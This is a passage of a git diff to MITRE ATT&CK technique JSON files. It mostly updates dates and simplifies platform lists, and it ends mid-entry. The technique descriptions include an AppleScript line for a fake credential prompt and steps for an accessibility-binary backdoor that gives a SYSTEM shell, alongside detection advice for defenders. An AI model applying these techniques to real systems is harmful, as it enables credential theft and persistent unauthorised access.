-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Administrator, SYSTEM may provide better process ownership details"
diff --git a/enterprise-attack/attack-pattern/attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b.json b/enterprise-attack/attack-pattern/attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b.json
index 8f347d65af..2c9a3abd3f 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--333d2bf0-ea75-42a9-8881-d338dd3b2ee2",
+    "id": "bundle--53c38e10-9de2-427b-98b5-9c7122575d1a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Input Prompt",
-            "description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task. Adversaries can mimic this functionality to prompt users for credentials with a normal-looking prompt. This type of prompt can be accomplished with AppleScript:\n\n<code>set thePassword to the text returned of (display dialog \"AdobeUpdater needs permission to check for updates. Please authenticate.\" default answer \"\")</code>\n (Citation: OSX Keydnap malware)\n\nAdversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. (Citation: OSX Malware Exploits MacKeeper)\n\nDetection: This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to detect. Monitor process execution for unusual programs as well as AppleScript that could be used to prompt users for credentials.\n\nPlatforms: MacOS, OS X\n\nData Sources: User interface, Process Monitoring\n\nPermissions Required: User",
+            "description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task. Adversaries can mimic this functionality to prompt users for credentials with a normal-looking prompt. This type of prompt can be accomplished with AppleScript:\n\n<code>set thePassword to the text returned of (display dialog \"AdobeUpdater needs permission to check for updates. Please authenticate.\" default answer \"\")</code>\n (Citation: OSX Keydnap malware)\n\nAdversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. (Citation: OSX Malware Exploits MacKeeper)\n\nDetection: This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to detect. Monitor process execution for unusual programs as well as AppleScript that could be used to prompt users for credentials.\n\nPlatforms: macOS\n\nData Sources: User interface, Process Monitoring\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -45,8 +45,7 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414.json b/enterprise-attack/attack-pattern/attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414.json
index c207a1eab8..0ccf7c904a 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--eab0176e-dcea-458c-9176-eafbb04f364e",
+    "id": "bundle--f1e56c48-22dc-4d49-88d6-454bbd03f8f4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:57.201Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Third-party Software",
-            "description": "Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.\n\nAdversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nDetection: Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Linux, MacOS, OS X, Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2003, Windows Server 2003 R2, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows XP\n\nData Sources: Binary file metadata, File monitoring, Process monitoring, Process use of network, Third-party application logs, Windows Registry\n\nPermissions Required: Administrator, SYSTEM, User\n\nRemote Support: Yes",
+            "description": "Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.\n\nAdversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nDetection: Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Binary file metadata, File monitoring, Process monitoring, Process use of network, Third-party application logs, Windows Registry\n\nPermissions Required: Administrator, SYSTEM, User\n\nRemote Support: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -46,20 +46,8 @@
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X",
-                "Windows 10",
-                "Windows 7",
-                "Windows 8",
-                "Windows 8.1",
-                "Windows Server 2003",
-                "Windows Server 2003 R2",
-                "Windows Server 2008",
-                "Windows Server 2008 R2",
-                "Windows Server 2012",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows XP"
+                "Windows",
+                "macOS"
             ],
             "x_mitre_remote_support": true
         }
diff --git a/enterprise-attack/attack-pattern/attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d.json b/enterprise-attack/attack-pattern/attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d.json
index 52144f4c0c..64fd4d7dcf 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a1b834a8-bb68-40e3-96ff-e66a3a84064f",
+    "id": "bundle--1bffdd74-0d81-415b-95fd-d60442b0a211",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:41.804Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exfiltration Over Command and Control Channel",
-            "description": "Data exfiltration is performed over the Command and Control channel.  Data is encoded into the normal communications channel using the same protocol as command and control communications.\n\nDetection: Detection for command and control applies. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: User interface, Process monitoring\n\nRequires Network: Yes",
+            "description": "Data exfiltration is performed over the Command and Control channel.  Data is encoded into the normal communications channel using the same protocol as command and control communications.\n\nDetection: Detection for command and control applies. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: User interface, Process monitoring\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -38,21 +38,9 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc.json b/enterprise-attack/attack-pattern/attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc.json
index 0736ca88de..a9214583be 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--67db2a79-f6a4-41ea-9552-8fe83528441f",
+    "id": "bundle--d22b864a-5754-404a-84ff-693296d22a51",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:49.988Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Registry Run Keys / Start Folder",
-            "description": "Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) The program will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.\n\nDetection: Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring\n\nPermissions Required: User, Administrator",
+            "description": "Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) The program will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.\n\nDetection: Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring\n\nPermissions Required: User, Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -46,18 +46,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810.json b/enterprise-attack/attack-pattern/attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810.json
index 8dc4e35fb3..543f07f8f9 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4d39bf7a-a1e1-4eac-ac7b-229390ff09a3",
+    "id": "bundle--3e9c11b6-b98c-4473-9cbd-7ceded22d77c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:30.757Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Shortcut Modification",
-            "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.\n\nDetection: Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator",
+            "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.\n\nDetection: Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nContributors: Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -27,6 +27,9 @@
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
+            "x_mitre_contributors": [
+                "Travis Smith, Tripwire"
+            ],
             "x_mitre_data_sources": [
                 "File monitoring",
                 "Process command-line parameters",
@@ -37,18 +40,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091.json b/enterprise-attack/attack-pattern/attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091.json
index e970fd69a8..215e42ed70 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0e0c755e-d571-471c-b705-12126db12341",
+    "id": "bundle--8e4c63a4-8a81-43fc-bdd7-c662b460a2ad",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:32.259Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Multiband Communication",
-            "description": "Some adversaries may split communications between different protocols.  There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions.  The split could also be random to simply avoid data threshold alerts on any one communication.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
+            "description": "Some adversaries may split communications between different protocols.  There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions.  The split could also be random to simply avoid data threshold alerts on any one communication.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -41,21 +41,9 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69.json b/enterprise-attack/attack-pattern/attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69.json
index 1eeddc0ef0..505c133ca8 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d699a209-c279-40e1-8d21-293eeb2619cc",
+    "id": "bundle--e687e6d6-c290-4aaf-9246-f2977c5b53b7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:33.979Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Component Object Model Hijacking",
-            "description": "The  (Citation: Microsoft Component Object Model) (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.\n\nDetection: There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within <code>HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\</code> may be anomalous and should be investigated since user objects will be loaded prior to machine objects in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\</code>. (Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, DLL monitoring, Loaded DLLs\n\nDefense Bypassed: Autoruns Analysis\n\nPermissions Required: User\n\nContributors: ENDGAME",
+            "description": "The  (Citation: Microsoft Component Object Model) (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.\n\nDetection: There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within <code>HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\</code> may be anomalous and should be investigated since user objects will be loaded prior to machine objects in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\</code>. (Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, DLL monitoring, Loaded DLLs\n\nDefense Bypassed: Autoruns Analysis\n\nPermissions Required: User\n\nContributors: ENDGAME",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -61,18 +61,7 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3.json b/enterprise-attack/attack-pattern/attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3.json
index aa25bba0f5..c4fb987787 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--46f069dc-4382-4b04-9a68-48d970ed0972",
+    "id": "bundle--ae8ba60b-996f-4052-809e-7678d0a4d2b1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:26.946Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Accessibility Features",
-            "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n*On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n*Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n*Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n*Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n*App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>\n\nDetection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options</code>.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 